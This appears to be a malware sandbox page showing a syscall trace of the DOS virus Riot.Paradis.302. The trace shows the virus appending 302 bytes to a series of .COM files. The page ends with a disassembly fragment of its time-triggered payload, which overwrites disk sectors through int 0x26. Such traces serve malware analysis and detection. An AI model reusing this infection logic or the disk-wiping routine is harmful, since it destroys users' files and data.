Sample viewer

vx.netlux.org/Virus.DOS.Riot.Paradis.302

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:52:33.284410704Z 26 PC: 12a91 | Set disk transfer address
2018-12-17T22:52:33.286650282Z 78 PC: 12a9a | Find first file
2018-12-17T22:52:33.293619774Z 67 PC: 12aa7 | Get or set file attributes
2018-12-17T22:52:33.298882321Z 61 PC: 12ab0 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:52:33.303381972Z 63 PC: 12abf | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:52:33.312142238Z 66 PC: 12ad1 | Move file pointer
2018-12-17T22:52:33.31478087Z 64 PC: 12a69 | Write file or device (Write 302 bytes on handle 5)
2018-12-17T22:52:33.330533714Z 66 PC: 12ae8 | Move file pointer
2018-12-17T22:52:33.335407311Z 64 PC: 12af4 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:52:33.340187026Z 62 PC: 12afa | Close file
2018-12-17T22:52:33.345973629Z 79 PC: 12a9a | Find next file
2018-12-17T22:52:33.349719522Z 67 PC: 12aa7 | Get or set file attributes
2018-12-17T22:52:33.353059845Z 61 PC: 12ab0 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:52:33.358228499Z 63 PC: 12abf | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:52:33.366524334Z 66 PC: 12ad1 | Move file pointer
2018-12-17T22:52:33.368378546Z 64 PC: 12a69 | Write file or device (Write 302 bytes on handle 5)
2018-12-17T22:52:33.37155943Z 66 PC: 12ae8 | Move file pointer
2018-12-17T22:52:33.375523099Z 64 PC: 12af4 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:52:33.379203934Z 62 PC: 12afa | Close file
2018-12-17T22:52:33.38784122Z 79 PC: 12a9a | Find next file
2018-12-17T22:52:33.391334625Z 67 PC: 12aa7 | Get or set file attributes
2018-12-17T22:52:33.396490149Z 61 PC: 12ab0 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:52:33.403501668Z 63 PC: 12abf | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:52:33.410618208Z 66 PC: 12ad1 | Move file pointer
2018-12-17T22:52:33.412538721Z 64 PC: 12a69 | Write file or device (Write 302 bytes on handle 5)
2018-12-17T22:52:33.415753418Z 66 PC: 12ae8 | Move file pointer
2018-12-17T22:52:33.417714271Z 64 PC: 12af4 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:52:33.421618682Z 62 PC: 12afa | Close file
2018-12-17T22:52:33.430415252Z 79 PC: 12a9a | Find next file
2018-12-17T22:52:33.433725304Z 67 PC: 12aa7 | Get or set file attributes
2018-12-17T22:52:33.439613963Z 61 PC: 12ab0 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:52:33.447066244Z 63 PC: 12abf | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:52:33.451498577Z 66 PC: 12ad1 | Move file pointer
2018-12-17T22:52:33.453911265Z 64 PC: 12a69 | Write file or device (Write 302 bytes on handle 5)
2018-12-17T22:52:33.457054618Z 66 PC: 12ae8 | Move file pointer
2018-12-17T22:52:33.458730495Z 64 PC: 12af4 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:52:33.462449551Z 62 PC: 12afa | Close file
2018-12-17T22:52:33.471627203Z 79 PC: 12a9a | Find next file
2018-12-17T22:52:33.474619522Z 67 PC: 12aa7 | Get or set file attributes
2018-12-17T22:52:33.48046521Z 61 PC: 12ab0 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:52:33.488102643Z 63 PC: 12abf | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:52:33.49564169Z 66 PC: 12ad1 | Move file pointer
2018-12-17T22:52:33.498746566Z 64 PC: 12a69 | Write file or device (Write 302 bytes on handle 5)
2018-12-17T22:52:33.502001677Z 66 PC: 12ae8 | Move file pointer
2018-12-17T22:52:33.503756921Z 64 PC: 12af4 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:52:33.507922199Z 62 PC: 12afa | Close file
2018-12-17T22:52:33.5171575Z 79 PC: 12a9a | Find next file
2018-12-17T22:52:33.520496758Z 67 PC: 12aa7 | Get or set file attributes
2018-12-17T22:52:33.52589036Z 61 PC: 12ab0 | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:52:33.533536092Z 63 PC: 12abf | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:52:33.541052994Z 66 PC: 12ad1 | Move file pointer
2018-12-17T22:52:33.543184911Z 64 PC: 12a69 | Write file or device (Write 302 bytes on handle 5)
2018-12-17T22:52:33.557773392Z 66 PC: 12ae8 | Move file pointer
2018-12-17T22:52:33.559848847Z 64 PC: 12af4 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:52:33.567486101Z 62 PC: 12afa | Close file
2018-12-17T22:52:33.579942022Z 79 PC: 12a9a | Find next file
2018-12-17T22:52:33.582942997Z 67 PC: 12aa7 | Get or set file attributes
2018-12-17T22:52:33.587819821Z 61 PC: 12ab0 | Open file (Filename = 'PAH.COM')
2018-12-17T22:52:33.595889697Z 63 PC: 12abf | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:52:33.603344072Z 66 PC: 12ad1 | Move file pointer
2018-12-17T22:52:33.605584081Z 64 PC: 12a69 | Write file or device (Write 302 bytes on handle 5)
2018-12-17T22:52:33.609829823Z 66 PC: 12ae8 | Move file pointer
2018-12-17T22:52:33.612127878Z 64 PC: 12af4 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:52:33.61550328Z 62 PC: 12afa | Close file
2018-12-17T22:52:33.625351458Z 79 PC: 12a9a | Find next file
2018-12-17T22:52:33.628269548Z 67 PC: 12aa7 | Get or set file attributes
2018-12-17T22:52:33.638791257Z 61 PC: 12ab0 | Open file (Filename = 'TEST.COM')
2018-12-17T22:52:33.647623635Z 63 PC: 12abf | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:52:33.650821609Z 79 PC: 12a9a | Find next file
2018-12-17T22:52:33.65427006Z 44 PC: 12b02 | Get time 0x12b02: cmp dl, 5
0x12b05: ja 0x12b2a
0x12b07: jmp 0x12b09
0x12b09: mov ah, 0x2c
0x12b0b: int 0x21
0x12b0d: cmp dl, 0x50
0x12b10: ja 0x12b14
0x12b12: jmp 0x12b1f
0x12b14: cli
0x12b15: mov ah, 2
0x12b17: cdq
0x12b18: mov cx, 0x100
0x12b1b: int 0x26
0x12b1d: jmp 0x12b2a
0x12b1f: cli
0x12b20: mov ah, 3
0x12b22: cdq
0x12b23: mov cx, 0x100
0x12b26: int 0x26
0x12b28: jmp 0x12b2a